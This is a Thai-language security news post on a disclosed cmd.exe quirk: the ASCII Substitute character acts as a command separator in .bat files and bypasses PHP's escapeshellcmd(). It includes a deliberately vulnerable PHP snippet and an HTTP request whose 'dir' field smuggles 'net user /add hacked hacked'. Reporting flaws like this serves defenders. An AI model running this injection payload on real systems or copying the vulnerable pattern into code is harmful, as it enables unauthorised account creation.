พบทริคที่ทำให้อาจเกิด command injection ใน cmd.exe ได้
นาย Julian Horoszkiewicz พบพฤติกรรมแปลกๆของ cmd.exe ที่มีการอ่านไฟล์ .bat ที่อาจนำไปสู่ command injection ได้
โดยนาย Julian พบว่าหากมีการเขียนในไฟล์ .bat โดยใช้เป็น ASCII Substitute Character (Code 26) ตัว cmd.exe จะมองว่าเป็น command separator (ตัวแยกคำสั่ง)ได้ (ซึ่งเปรียบเสมือน & , | ) ทำให้อาจเกิดการทำ command injection ได้ ซึ่งทาง Julian กล่าวว่าการใส่ Substitute Character ดังกล่าวจะ bypass การทำ sanitise input function อย่าง escapeshellcmd() function ได้
1 2 3 4 5 6 7 8 9 |
<span style="font-family: georgia, palatino, serif;"><?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); file_put_contents('out.bat',$escaped_command); system('out.bat'); ?></span> <span style="font-family: georgia, palatino, serif;">จาก code จะเห็นว่า input dir มีการผ่าน function escapeshellcmd ก่อนจึงจะทำการนำค่า dir ดังกล่าวใส่ในไฟล์ out.bat จากนั้นจึงรันไฟล์ out.bat อีกที ซึ่ง หากว่าเราส่ง HTTP Request เป็น </span> |
1 2 3 4 5 6 7 8 9 10 11 12 |
<span style="font-family: georgia, palatino, serif;">POST /escape_shell_cmd.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 35 dir=.<span style="color: #ff0000;">%1a</span>net user /add hacked hacked</span> |
1 2 3 4 5 |
<span style="font-family: georgia, palatino, serif;">จะกลายเป็นว่ามีการรันเป็น 2 คำสั่งคือ "dir ." และ "net user /add hacked hacked" แทนที่จะเป็นคำสั่งเดียวอย่าง "dir .%1anet user /add hacked hacked" ครับ ทั้งนี้พฤติกรรมแปลกๆดังกล่าว ได้มีการทดสอบแล้วใช้ Windows 7, Windows 10 ซึ่งได้ผลลัพธ์เหมือนกันครับ <strong>Source:: <a href="http://seclists.org/fulldisclosure/2016/Nov/67?utm_content=buffer24e77&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer">Seclists.org</a></strong></span> |